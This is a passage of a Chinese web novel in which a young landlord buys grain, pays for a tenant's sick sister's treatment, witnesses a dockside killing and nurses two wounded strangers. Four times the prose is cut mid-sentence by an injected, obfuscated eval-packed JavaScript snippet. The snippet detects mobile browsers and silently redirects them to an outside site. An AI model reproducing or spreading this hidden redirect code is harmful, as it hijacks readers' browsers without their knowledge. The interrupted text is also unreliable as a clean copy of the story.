曲花间便把老汉摊位上的草鞋和没损坏的小玩意儿都买下来,也没讲价,倒是老汉喊价十分实在,十六双草鞋两百四十文,草编玩意儿三文钱一个,一共六个。 “一共两百五十八文钱,给您饶个零头,您给两百五十文就行!”老汉堆着笑脸小心翼翼的看着曲花间,心里盘算着如果客人讲价,能再给他少几文钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487855|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁知曲花间什么也没说,只让曲宝取了三百文钱给他,温声笑道:“劳烦您,我看您框里还有些粗麻绳,一并搭给我吧,我家船上的锚绳磨损得严重,正好换根新的。” 老汉一怔,框里确实有一卷粗麻绳,但这东西不值钱,一米也就一文钱,一卷只有十来米。 他眼眶一热,吸了吸鼻子,知道这是遇到好心人了,他没骨气的佝偻着身子,手脚麻利的把客人要的东西用细麻绳捆好,双手递到曲宝手上。 要不是家里实在是揭不开锅了,唯一的钱袋子还被官差抢了去,他也想挺直腰板将多出的钱还回去。 可惜世道艰难,岁月也不饶人,他也只是为了碎米几两苟延残喘的糟老头子罢了。 曲花间和曲宝一块儿把草鞋拎了回去,下船放风和解决生理问题的船员们也都回了船上。 他让曲宝把草鞋分给这段时间在船上表现最好的十多个人,这其中就有林茂。 曲花间趁机对这些人说了一番表扬鼓气的话,又让没得到草鞋的人不要灰心,只要表现得好,后面还会有其他奖励。 得到奖励的人都面露喜衣,有几个性子跳脱的汉子,甚至当场换上新鞋子,低着头左看右看。 没得到奖励的人也都没露出什么不满,这段时间的朝夕相处,又有共同应对水匪的革命情谊在,这些没什么心眼的庄稼汉子们友情迅速升温。 而且谁表现好,谁爱偷懒大家心里都有数,只让众人对曲花间更加佩服。 别看东家天天晕船待在船舱里,船上大事小事他竟然都知道!以后可不敢再偷懒了。 其实曲花间并没有他们想的那么神,除了会射箭的林茂,其他的人他甚至都认不全。 真正厉害的是曲宝,这孩子每天在船上转悠,事事安排得妥妥贴贴,再一一叭叭给他听,真真对得起“小管家”的名号。 发完草鞋,曲宝又招呼着几个会做饭的汉子将下午买的食材拿去下锅。 广陵邻河而建,周围还有许多大大小小的分流,水产资源十分丰富,一条个两三斤重的鲤鱼只要十文钱。 曲花间便让曲宝在一个渔夫手里买了十来条,炖了一大锅鱼汤,船上三十几个人一人能分得一大块鱼肉。 这些庄稼汉子年景好的时候一年也不见得能粘上几次荤腥,此时都兴奋的海碗,就着杂粮馒头大快朵颐。 船上没什么调料,鱼汤就加了些毛毛盐,虽然做饭的几个汉子已经尽力将鱼清理干净,但还是有些腥味。 曲花间本来就不爱吃鱼,这段时间又一直晕船胃口不好,闻着鱼汤的腥味更没食欲了。 他把自己那份鱼汤分给曲宝,草草啃了几口杂粮馒头便回了船舱。 曲宝见自家少爷没吃几口,就知道鱼汤不对他胃口,也是,连他都觉得鱼汤味道一般,更何况从小锦衣玉食的少爷呢? 他三下五除二把手里的食物下了肚,便端着自己的饭碗去了专门腾出来做饭的小房间。 众人只当他是去洗碗,也没多想,只顾着手中的食物。 5. 林冉 曲花间在船舱里整理东西,如果在广陵买到粮食,那船上能空出来的地方都会用来放粮食。 这间小房间只有几平米大,他平时睡在一张一米二左右的小床上,曲宝则挨着他的床打了个地铺。 倒不是曲花间苛待曲宝,而且曲宝自己坚持,他非说自己睡相不好,怕睡觉压着少爷。 此时曲花间正把曲宝的铺盖卷起来往床上放,曲宝一进来便看见自家少爷撸着袖子吭哧吭哧的铺床,他连忙跑过去把活计抢过来,惊叫不已:“少爷,您怎么能干这些活儿呢!?快坐着,坐着!” 曲花间被曲宝一撵,有些哭笑不得的在床位坐下,曲宝性子跳脱,跟他说话不像其他下人那样谦卑,所以两人十分亲近。 但就是太勤快了,生活上的事都处理得体贴入微,弄得他穿过来这半年几乎是十指不沾阳春水,“我怎么就不能干活呢!你倒是说说。” 曲花间也就随口一说,哪知曲宝停下动作蹲在他身边,语重心长的教育他:“少爷,您是东家,是主子,您只需要发号施令就行了,就像……就像戏文里的大将军一样,您往哪一指,我们就往哪去干活。 您要是把咱们下人的活儿都干了,还要下人做什么呢?人家这么可爱,又勤快又会逗趣儿,您舍得不要我吗?” 曲宝说着说着就开始不正经的抛着媚眼儿,还捏着个标准的兰花指,激得曲花间起了一层鸡皮疙瘩。 “再说了,老太爷临走前两天再三叮嘱我,让我和我爹把您照顾好喽,要是他老人家在天有灵看见您自己在这干这些粗活,我可怎么向他交代呀!” 曲宝一通长篇大论叭叭下来,说得曲花间脑袋发昏,他摆摆手示意他闭嘴。 “好了别说了,让我躺会儿。” 曲宝见自家少爷两眼发晕,这才想起他午饭没吃多少,这个样子估计是饿的。 他像变戏法一般从怀里掏出一个油纸包,小小声的说:“少爷,你看,这是啥!”那小表情,跟哄孩子差不多,明明他自己也只是个半大少年。 曲花间低头一看,竟是一包黄澄澄的白灼河虾! “你哪来的河虾啊?”他接过油纸包放在腿上,迫不及待的拨开一只扔进嘴里,鲜甜的味道在舌尖炸开,曲花间满足的发出一声喟叹。 “买鱼的时候看见的,拢共就这点,从前您就爱吃这个,想着您最近胃口不好,就买了回来给您开开胃。” “还没到吃虾的季节呢,我给你的零花钱怕是花完了。”曲花间捏了一只虾剥壳扔进嘴里细细咀嚼着,心里感动不已,活了两世,除了已故的原身祖父,就只有曲宝对他最好了。 曲宝闻言嘿嘿一笑,到广陵的时候曲花间给他二两银子当零花钱,除了给他娘买了把绯红色画着花儿的油纸伞,剩下的钱全买了虾。 “少爷真是神机妙算,不过我还给我娘带了特产,还得谢谢少爷呢!” 曲花间在怀里摸了摸,又想起来他的零散银子都在曲宝那保管着,便让他自己再取一贯钱给曲福买点广陵的酒回去。 两人分着将一包河虾吃完,曲花间拍了拍总算舒服了些的肠胃,正准备叫几个人跟着一块儿进广陵城转转打听打听买粮的事。 底层船舱被划成了四个房间,一个房间里住了七八个人。 曲花间对那个会射箭的林茂印象较深,便决定将他带上,谁知刚走近林茂所在的房间,便听见里面传来嘈杂且压抑的争吵声。 “这可怎么办呀!要是让东家知道了,咱们吃不了兜着走。”一个汉子小声的说道,接着传来一声声附和。 “哎呀你们别吵了,快给想想办法吧!再拖下去阿冉都快没了。” 底层船舱没有窗户,昏暗的空间里只有房间里一盏油灯透过门帘散发出微弱的光芒。 可能是曲花间的脚步太轻,也可能是船舱里的人心中焦急,两人在门口占了好一会儿,竟然也没人发现。 从门帘缝隙中,曲花间隐约看清了里面的情景。 只见林茂面色沉重,怀里紧紧抱着一个小小的身子默不作声,时不时伸手探探怀中小孩儿的鼻息。 高高大大的黑皮汉子,此时眼眶泛红,神色悲戚又无奈。 他身边围着三个人,其中一个正是刚出发时为他解围的汉子,想必几人是熟人,竟都帮着他瞒着东家在船上藏了个人。 这本也不是什么大事,据他所知,林茂家人丁单薄,早几年便爹娘便不在了,也没娶妻,一直是独身一人。 也不知那孩子是何身份,看样子似乎是病得不轻,估计是放心不下才偷偷带到船上来。 只是这船舱里阴暗潮湿,不利于养病,半个月下来,那孩子的病恐怕越来越重。 这时,一直沉默不语的林茂出声:“这段时间多谢你们,我现在去找东家坦白,就说是我悄悄把阿冉带上来,又一直把她藏在被子里,你们都没发现,绝不会牵连你们。” “我去求东家,如果东家愿意给阿冉治病,我这辈子就给东家做牛做马,要是东家怪罪,也只能怪阿冉命不好……我会带她下船……” 曲宝一直看着曲花间的脸色,见少爷没露出生气的神情,悄悄松了口气,说来说去还是怪他嫌船底黑漆漆的怪慎人,没下来仔细检查,才让这群家伙藏了个人。 他面露凶狠,叉着腰一把掀开门帘,怒喝道:“好哇!你们这些……这些狗东西!谁准你们带个小娃娃在船上来的!?” 突如其来的呵斥着实把房间里几个大人吓得不轻,再定睛一看,曲宝身后的东家沉着脸立在一旁,更是打了个冷颤。 “东……东家……”和林茂关系最好那个汉子颤着嘴皮,不知道该先求饶还是先解释。 这群无知的庄稼汉子并不知道这件事严重不严重,只知道给他们地种的东家就是衣食父母,若是得罪了东家,肯定没有好下场。 要知道其他庄子的佃农就跟地主的狗一样,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487856|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅要免费给东家干活,还要任其打骂,要是惹得东家不顺心,加租都是小事,把田地收回才是断了一家人的活路。 所以虽然曲家从不苛待佃农,但佃农们对东家仍是天然的畏惧。 林茂将怀里的孩子放在床上,想了想不妥,又抱下来放在地上,然后跪下以头抢地,“东家,千错万错都怪我!求您不要怪罪他们,我这就带着小妹下船!” 曲宝闻言深吸一口气,还想怒斥几句,却被曲花间按住肩膀。 他走上前,把地上的小孩儿抱起来,竟是出乎意料的轻。 “你刚刚不是说要求我给她治病吗?怎么现在又要下船了?” “我……”林茂猛然抬头,眼里泛起希冀,“东家!您……您真的愿意……” “我倒是愿意啊,可惜我不会治病,曲宝,快去请大夫!”曲花间叹了口气,又道:“算了,一来一回太麻烦,林茂,你背着你妹妹,你们几个跟我一块儿进城,直接去医馆。” 林茂闻言几乎喜极而泣,他哽咽着哎了一声,爬起来接过小孩儿。 几人下了船小跑着直奔内城而去,原本两柱香的路程硬生生缩短了一半。 刚过晌午,医馆里看病的人不多,几人一踏进医馆门槛,店里的药童便迎了上来,并且眼神极准的锁定了林茂背上的病人。 林茂的妹妹此时面色黑红,已经是出气多进气少了,药童见状深吸一口气,迅速将他们领进内堂,又将发须皆白的老大夫请了来。 老大夫看着年老,动作却十分敏捷,一手切脉一手翻开小孩儿的眼皮,吹胡子瞪眼的怒斥几句:“怎的拖成现在才送来!再晚来半日,就可以直接裹上草席,拉去埋了!” 医者仁心,老大夫嘴上骂着,手上却没停,他掏出几根银针往小孩儿穴位上扎去,又示意药童把将房间围得水泄不通的众人引出去。 曲花间等人在大堂里等了许久,才见老大夫从内堂出来,“你们谁是那孩子的家人?” 林茂闻言赶紧站出来,“我,是我!大夫,我小妹如何了?还有得救吗?” 老大夫上下打量了林茂一眼,见他衣着朴素,外衫上还打着补丁,摇头直叹气。 “孩子病的太重了,本来只是场风寒,叫你这一拖,伤了底子,须得用老山参吊着命,再慢慢的给药治病,可你这……” 老大夫话没说完,但众人都明白他的意思,别的不说,光老山参一样便不是普通人买得起的。 “大夫尽管治,只要能医好,银钱不是问题。”曲花间扬了扬下巴,示意曲宝递上一锭银元宝。 老大夫没有接钱,见有人付钱,他便放心的坐下开始写药方,他身旁的药童见状连忙双手接过曲宝递来的银子。 “大夫放心,若这些银子不够,回头我再补上就成,林茂你留下守着你妹妹,我们去城里转转。” 曲花间留下话,便带着其他人离开了医馆,在城中打听粮铺的位置。 6. 治病 广陵城粮铺不少,几乎每个街区都能找到一两家,一整个下午一群人问了好几家,价格都贵得很。 平时只要十几文一斤的糙米,此时要卖到四五十文,而精米更贵,足足六十文一斤。 一个成年男子正常的饭量在一天两斤米左右,省着吃,一斤也勉强能维持体力,像今年这种情况,每日喝点稀粥,或是杂粮糊糊,能有二三两粮食都算多的。 曲花间带的银子能买到的粮食养活曲家上下和手底下的佃农绰绰有余,但他并不满足于此。 今年青岱虽然下了雪,等雪化了春耕应该不愁问题,但天灾非人力所控,万一今年收成又不好呢?历史上连年干旱的事情多如牛毛。 还是得多屯点粮食,手里有粮,心里不慌。 在城中转悠了一下午,众人都有些蔫蔫儿的,回到医馆的时候,林茂正守在他妹妹床前。 老大夫给小孩儿扎了针,一碗加了老山参的汤药灌下去,此时面色不再像中午那般吓人,此时正安稳的睡着。 之前着急忙慌的,曲花间也没注意小孩儿的样子,此时仔细看看,小孩儿面颊凹陷,皮肤黝黑,看着和林茂有几分相像。 他坐在床边,替小孩儿掖了掖被角,问道:“她是你妹妹?叫什么名字?” 林茂蒙受曲花间大恩,早已发誓誓死追随东家,此时十分恭敬的站在曲宝后面的位置,回答道:“是的东家,她叫林冉,今年九岁了,等她好起来,如果东家不嫌弃,就让她跟在您身边做个粗使丫鬟,给您端茶倒水,以报您的救命之恩。” 曲宝本来还因为粮价的事情愁眉苦脸,听闻此言瞬间精神了,他圆目一瞪,心想:好哇你个林茂,少爷好心好意救你妹妹,你居然想将她安插在少爷身边与我争宠!? 你想得美,给少爷端茶倒水的人只能是我曲宝!! 林茂听不见曲宝的腹语,见小管家瞪自己,以为自己说错了话,连忙闭嘴,低眉顺目不再言语。 曲花间一愣,“都九岁了?这小身板我以为她才五六岁呢。” “我娘怀阿冉的时候跌了一跤,提前两个月把她生下来了,生下来就比别的孩子小一半,所以她从小体弱多病,吃得也少,长得慢。” 曲花间点点头,早产儿加营养不良,能养活已是不易,难怪发育不好。 “曲宝,你去问问药童,能不能给熬点粥,给阿冉喂下去,睡了这么久,不吃东西可熬不住。” 曲宝闻言有些不情愿的嗯了一声,又面露凶恶的瞪了林茂一眼,这才噔噔噔的跑出去了。 林茂被瞪得一脸莫名,但还是心怀感激的向曲花间和曲宝道了谢。 没一会儿曲宝便端着一只粗陶碗回来了,“少爷,我去的时候刚好碰见老大夫他们在吃夜饭,可巧他们今晚就吃肉粥,我便请他们匀了一碗给我,老大夫说收咱们十文钱,待会儿算在药钱里一并结算。” “行,你给林茂吧,让他给阿冉喂进去。” 林茂闻言赶紧伸手来接碗,结果又吃了曲宝一记白眼,他轻哼一声,躲过林茂伸来的手,“他粗手粗脚的可别把小阿冉呛着了,还是我来吧少爷!” 曲花间抄着手,有趣的看着曲宝那副傲娇样儿,这小子心里想什么都写在脸上,不过不高兴归不高兴,但心地还是很善良的。 “行!不愧咱们家的小管家,就是心细,那你喂吧。” 得了少爷的夸奖,曲宝心里那点小九九瞬间被压了下去,他心情愉悦的把林冉半抱在怀里开始喂粥。 小孩儿估计是饿狠了,一调羹粥刚喂进嘴里,便无意识的吞咽起来,没一会儿,一碗粥便见了底。 由于林冉一直昏睡不醒,老大夫建议让她在医馆住一晚看看,等醒了再离开。 刚好买粮食也还需要时间,曲花间便又结了一次账,将林茂和跟他关系最好的陈成留下,其他人回了船上。 夜晚,码头上格外的安静,停泊在码头的船只不多,各自点着微弱的灯光,微风拂过江面,带起小小的波浪拍打在岸边,浪声细碎,并不扰眠。 曲花间在小船上翻来覆去,难以入眠,他就着甲板上微弱的灯光起身,绕过地上睡得四仰八叉的曲宝,走出船舱,是的,曲宝晚间又把自己的铺盖卷放回了地上。 南方少雪,气温也比北边高,但更深露重,湿润的凉风拂过,曲花间拢了拢披在肩上的外衫。 时值月初,天上挂着一轮细细的弯月,光线远不如圆月明亮。 但水面是最好的镜子,哪怕只是柔弱的光线,也能反射出粼粼波光。 曲花间正在心中计算,自己带出来的钱够买多少粮食。 一路下来的花销都是提前准备的碎银子,带出来买粮食的大头一分没动,五十两黄金折合下来五千两白银,加上原本的银子,一共六千两。 北方遭受旱灾,南方粮价也跟着水涨船高。 按大宗交易价格算,带壳水稻三十文一斤,去壳的糙米四十文一斤。 还有各种杂粮,价格要比稻米低三到五文不等。 曲家大船是从前原身父亲在时斥巨资在一个南方商人手里买的,船长二十四米,宽八米,深三米,载重应该能达到八十吨,也就是十六万斤左右。 稻子虽然划算,但为了多装些粮食,曲花间还是打算买糙米和去好壳的杂粮。 另外再买些抗旱皮实的粮种,以防万一。 还有一个最重要的问题,便是如何将这么多粮食运回青岱。 来时船空,又是顺流而下,跑得快,遇到水匪都是走为上,但回去的时候装满货,肯定跑不赢水匪的船。 好在白日曲花间特意让曲宝打听过,广陵城有家龙虎镖局,专门替别人压货走商,据说里面的镖师功夫俱佳,口碑极好。 只是要价较贵,像从广陵到青岱这么远的距离,一个普通镖师便要一百两,功夫更好的镖头价格更是离谱。 曲花间手底下除了林茂一手箭术不错,其他人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487857|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打架斗殴可能气势不输,但真对上亡命之徒,这些没见过血的庄稼汉子怕是没多少反抗能力。 所以哪怕价格离谱,曲花间还是决定请几个镖师,这又是一笔不小的银子。 算了半天,发现自己手里的钱将将够把这艘大船填满,曲花间总是放下心来。 将乱糟糟的思绪理清,心中有了章程,躲在角落的困意终于来袭。 曲花间打了个哈欠,往船舱里走去,刚一转身,便听见远远一阵砍杀声。 他心中咯噔一下,连忙蹲下身,借着护栏的掩护往声音的来源看去。 只见码头广场上影影绰绰的有几道人影正你追我赶。 被追赶的人有两个,其中一个估计受了重伤,被同伴拖扛着,另外那个受伤较轻的一手拖着同伴,一手拿着一把长刀,疾步往曲花间所在的方向而来。 后面追赶的人也都多少负了伤,追赶速度不快,两拨人就这样一直保持着一段距离。 眼看那群人离岸边越来越近,曲花间暗道一声完蛋,矮着身子往船舱里跑。 曲宝还睡得呼哧呼哧的,曲花间捂着他的嘴将他摇醒:“曲宝,别睡了,出事了!” 曲宝本来还有些迷糊,听见出事了三个字瞬间清醒,他正要问,却发现曲花间捂着嘴不让他出声,他点点头示意自己清醒了,曲花间才收回手。 防身的匕首一直藏在枕头下面,两人迅速摸出来又往底舱里去。 等船上所有人都清醒过来抄上家伙,那两拨人也到了离曲家大船不远的岸边。 曲花间不顾曲宝的反对,悄悄摸到甲板上,看清了岸上的情形,想来是无路可走,被追的那人将同伴放倒在地上,视死如归的冲向追杀他们的人群。 双方拼杀了莫约半个时辰,看得出来那个人武功高强,对方七个人,被他砍死了四个,踢了一个下河,落水哪个估计是个旱鸭子,在水里扑腾几下,咕嘟咕嘟吞了好多水,没一会儿便没了动静。 只可惜寡不敌众,那人很快便露出破绽,被敌人从背后捅了个对穿。 拼着最后一口气,那人将面前的人一剑封喉,又躲过身后的第二次攻击,拖着自己的同伴毫不犹豫的跳了河。 天太黑了,曲家船上的油灯早已耗尽能量熄灭了,借着微弱的月光,岸上砍杀的情景也只能看个大概。 但微风拂过,血腥味却顺风而来。 浓重的血腥味让曲花间胃里翻江倒海,他悄悄抹了下额头上的冷汗,双腿早已发软,跪坐在甲板上。 出身和平时代的青年,连杀鸡都带有负罪感,此时却亲眼目睹了一场厮杀。 和电视里被美化过的剧情不同,真实的场面更加血腥残忍,曲花间甚至看到其中一人被抹脖子时血液喷涌而出至少喷了一米多远,在月光下反射出猩红的光芒。 岸上还站着的两人并没有发现曲花间,也没打算上船屠杀一番,他们不是打家劫舍的盗匪,而且直奔目的专门追杀那两人的。 7. 救人 那两人落水后江面很快平静下来,除了微风拂过推起的涟漪,水面上没有一点波动。 等了至少一柱香时间,仿佛是确认目标再也没机会露头后,那两人才蹲下身检查同伴的死活。 很显然,隔了这么久,再多血也流干了,倒在地下的人早已没了气息。 那两人见状十分干脆的将同伴的尸体一脚踢到江中,又找来木桶冲洗地面上的血迹。 码头上扑了木板,猩红色的血液被水一冲,便顺着缝隙流入江中,很快便被稀释掉。 做完这些,两人将木桶也扔进江中,扬长而去。 曲花间看得头皮发麻,对同伴见死不救,熟练的毁尸灭迹,无一不彰显着这些人都是些穷凶极恶之徒。 还好他们对船不感兴趣,不然这一船人死定了。 曲花间腿软得站不起来,一直守在他身边的曲宝和其他几个人也好不到哪去。 几个人就这样屏住呼吸瘫坐在甲板上,不敢发出声响,生怕那两人又杀个回马枪。 又过了好一会儿,原本平静的江面突然哗啦一声,冒出两个头来。 曲花间吓了一跳,定睛一看,竟是那两个被追杀的人,他们竟然没死! 只可惜扛着同伴那人也受了重伤,只能死死的扒住江岸,却没力气爬上去了。 “快!救人!”曲花间低喝一声,其他人才回过神来,手忙脚乱的找来梯子下船去救人。 等把那两人捞起来之后,原本清醒那人也昏迷了过去。 将两人拖进船舱放在船上,曲花间吩咐了一句让人将船上的血渍擦洗干净,便和曲宝合力把伤者的衣服扒了。 那人和人厮杀许久,身上大大小小的伤口有十几道,最为致命的便是被捅穿的伤口。 好在伤口位置在腰侧,应该是没伤到内脏,只可惜失血过多,也不知道还能不能活。 另外那个一直昏迷着的人也同样伤得不轻,他肩胛处有一道贯穿伤,看起来有些时日了,伤口已经在腐烂流脓。 腿上也有一道深可见骨的刀伤,应该是刚才被追杀时砍到的,此时正泊泊流着鲜血。 曲花间伸手一探他额头温度,果然烫得吓人。 “曲宝,去把你爹给我们准备的药箱拿来,顺便找找船上有没有烈酒。” 此时已是凌晨,城门要到卯时初才会打开,要等到城门打开去请来大夫,至少还有两三个时辰。 可床上两名伤患显然等不了那么久,只能先做简单的处理,剩下的便是听天由命。 “你!”曲花间随手指了一个守在门口的船员,继续吩咐:“去取点凉开水过来,记住,一定要用干净的水盆装。取来之后再架两口锅烧开水,把匕首,水盆,全部用开水煮一遍,另外一口锅烧的开水给我送来!” “是!”得了命令,船员也不含糊,立马招呼了一个同伴往厨房跑去。 曲花间在小房间里翻找半天,没找到合适的布料,只能将自己洗干净的里衣撕成条,紧紧缠在两人的新伤口上暂时堵住出血口。 好在曲花间一直要求船上的人饮水必须烧开过后再喝,船上原本便备着凉开水,所以很快被送来,曲宝也取来了药箱,曲花间用凉开水打湿布料,敷在发烧那人的额头上,才开始清理他肩胛处的伤口。 这伤口时间挺长了,没有流血,但红白相间的糊着脓液。 曲花间用凉开水洗净的布巾将伤口表面和周围擦拭干净,用力按在伤口上将脓液挤出。 伤口上虚虚结了一层痂被挤破,脓液喷涌而出,滋的曲花间一脸,昏迷中的男人似乎也感觉到疼痛,蹙着眉呻吟一声,但又很快安静下来。 曲花间差点恶心吐了,但此时不是矫情的时候。 他用袖子随手一抹,将脸上的脓液拭去,又继续发力挤压。 开水换了一盆又一盆,等把脓液挤干净,曲花间转了转发软的手腕,狠着心用高温消毒过的匕首将男人伤口上的腐肉剜去。 新鲜的血肉露了出来,又开始流出鲜血,曲花间在伤口上撒了一层金疮药粉,才用药箱里备好的纱布紧紧缠住。 处理完最棘手的伤口,曲花间又开始给男人处理新伤,有布巾的阻止,伤口的出血量总算小了下来。 将伤口清理干净,撒上金疮药,再缠上纱布,曲宝看了一遍,学着曲花间的动作给另一个人处理伤口。 可能是那人昏迷得估计没那么深,也可能是曲宝下手重了些,疼得他龇牙咧嘴发出好几声闷哼,但紧闭的双眼一直没睁开。 忙活了一个多时辰,才总算把两人身上大大小小的伤口处理好,又用温水擦了身,曲花间虚脱的席地而坐,他唤来四个船员。 “城门应该快开了,你们去城门口守着,城门一开就赶紧去医馆请大夫,记住,路上警醒点,也别紧张,让人看出端倪,要是大夫问起,就说……” “少爷!”曲宝擦了擦沾染在衣袖上的血渍,“让我去吧!他们没看清昨夜那些人的样貌,万一被盯上就完了。” 曲花间略一沉吟,点头,曲宝比这些人机灵得多,有曲宝带头,他也放心得多,“那你一定注意安全。” “知道了少爷!”曲宝爬起身,在自己的小包袱里翻出一件干净的外衫换上,迎着还未露头却已经绽放出昏黄光芒的朝阳下了船。 寅时已过半,夜晚逝去,码头附近聚集了一些摊贩正在支摊子,卖早食的摊子冒着阵阵白烟,一幅欣欣向荣的样子。 想来一路已经有人群聚集,那些杀手应该不会再出现了,至少不会在众目睽睽下行凶。 目送曲宝离开,曲花间又回了船舱,给发烧那人换了块冷布巾,又给自己换了身衣裳。 昨晚惊出一身冷汗,后面一直给伤员处理伤口又出了热汗,此时身上粘腻不堪,可惜船上洗澡十分不便,这半个月他都是用热水擦身将就一下。 此时房间里有人,虽然两人都昏睡着,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487858|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲花间还是不好脱光擦身,只得忍着不舒服只换了外衣。 没一会儿,负责做饭的船员便端了早食上来,一小盆热腾腾的粥,还有一小碟细碎的咸菜。 “昨晚大家都受惊了,再蒸点杂粮馒头给大伙垫垫吧。” 一顿早饭每人能分得一碗粥,对这些人高马大的汉子来说,根本是杯水车薪,但一路过来粮食本来就不足,众人也都没有怨言。 好在广陵近在眼前,粮食问题也马上得以解决,总算可以大方让手下人们吃个饱饭了。 送饭的船员闻言重重点点头,嘴笨的他说不出什么漂亮话来,只是兴奋的说了句多谢东家便兴冲冲的出了门。 曲花间盛了一小碗热粥,给那个正发着高烧的人喂饭。 那人此时脸被擦洗干净,露出本来面貌,眼角的伤口已然遮掩不了他俊美的长相。 躺在床上裹满纱布的男人,只露出一张脸来,因失血过多显出一丝病态的苍白,两颊又因为发烧而鄢红,浓密的剑眉下一双狭长的眼睛紧紧闭着。 英挺的鼻梁被眼下那道伤口延伸,留下一丝细细的血线,干燥起皮的薄唇紧抿着,怎么也撬不开。 曲花间无奈,同样是昏迷,小阿冉就知道主动吞咽东西,这家伙却像死鸭子一样嘴硬。 他将男人头抬起来靠在自己身上,右手穿过他后颈用手臂托着他,手指捏住他的下巴,强行掰开他的嘴,将吹凉的稀粥往他嘴里灌。 奋斗了好久,直到天光大亮,总算给昏迷的两人一人灌了一碗粥,木盆里剩下的粥早已凉透了。 曲花间就着小咸菜囫囵几口一碗稀粥便下了肚,原本因忙活一夜饿得抽搐的胃总算舒服了些。 等到杂粮馒头蒸好,众人津津有味的啃着馒头时,曲宝总算带着大夫回来了。 来的是昨天医馆那位老大夫,陈成林茂也背着林冉跟在后面。 “大夫快请!”曲花间将老大夫迎上船,又问林茂:“小阿冉怎么样了?怎么不在医馆多养养?” 林茂将往下滑的小孩儿往上提了提,回答道:“多谢东家关心,大夫医术高明,今早阿冉醒了一回,大夫说再吃几副药就好了。” 老大夫闻言插嘴道:“哪有那么快,只是醒了便算保住了命,真要好还得静养许久呢!只是那位小哥说你受了伤,林小兄弟便非要跟着过来,老夫只得开了几副药给他。” 曲花间闻言,知道林茂是担心自己,拍拍他的肩安抚道:“没事,不是我受伤,是其他人,只是不好对外宣扬,才说是我受了伤,大夫莫怪。” 老大夫扬扬手,“无事,谁受伤都一样,快带我去看病人吧。” 曲花间领着老大夫来到自己的房间,他一见床上裹满纱布的两人一惊,连忙让药童将众人请了出去,曲花间只得在甲板上等。 见曲宝林茂等人还围在自己身边,他挥手让他们下去,“厨房里给你们留了早饭,把阿冉放回床上就去吃饭吧。” 8. 照顾 第8章 老大夫在船舱里待了许久,才拎着药箱走出来。 他摇着头叹气,“伤的太重了,唉……” 曲花间心中一凉,老大夫说这话的表情简直跟现代医生说“我们已经尽力了”没什么两样。 “大夫,他们还有救吗?”曲花间探头看了看房间里的情形,药童正在给发烧那人重新换纱布。 “他们的伤口是谁给处理的?手法不错,只可惜伤势太重,失血过多,老夫也没什么办法,只能开些药给他们灌下去,剩下的便看他们自己的造化了。” 曲花间闻言有些失落,虽然素不相识,但好歹是两条人命,明明他已经很努力想要挽救了,可还是逃不过听天由命四个字。 “那就劳烦大夫多开几副药吧,我们在这待不了多久,到时候在路上恐怕找不到大夫。”虽然这两个人的命很重要,但家里这么多人还等着粮食救命,根本不敢耽搁。 “对了,不知大夫昨天给阿冉吊命的方子,对他们起不起作用?” “你还要给他们用老山参!?那两人不像是你船上的人。”老大夫有些诧异,老山参来之不易,昨日给阿冉用的半支便是五十两。 肯给下人用如此珍贵的药,老大夫平生所见也就只这一人,可那两人明显和这位萍水相逢,想不到也肯花这么多银子替他们医治。 “你要知道,即使给他们吃了这药,也不一定能有用,若是最后还是死了,你的银子可就打水漂了!” 曲花间点点头,“我知道,您尽管开药,钱不是问题,救人一命胜造七级浮屠,何况是两条人命呢?” “小友真是菩萨心肠,既如此,老山参我就不赚你的钱,一支八十两,算是给自己积点功德。” “多谢大夫好意,多出的十两还是要给的,还请大夫替我们保密,就当从未出过这趟诊!” “你放心,我是医者,医者只管治病,不管其他,断然不会泄露患者消息给任何人的!” 最后大夫给受伤的两人和林冉开足了药,讲好下午去医馆拿,便结账离开了,那多出的十两,最后也没收。 曲花间点了点手里仅剩的碎银,三人的医药费总共花了二百多两,手里的碎银不够,还从买粮的银子里挪了二百两。 看病难,看病贵,这个道理在任何时代都是一样的。 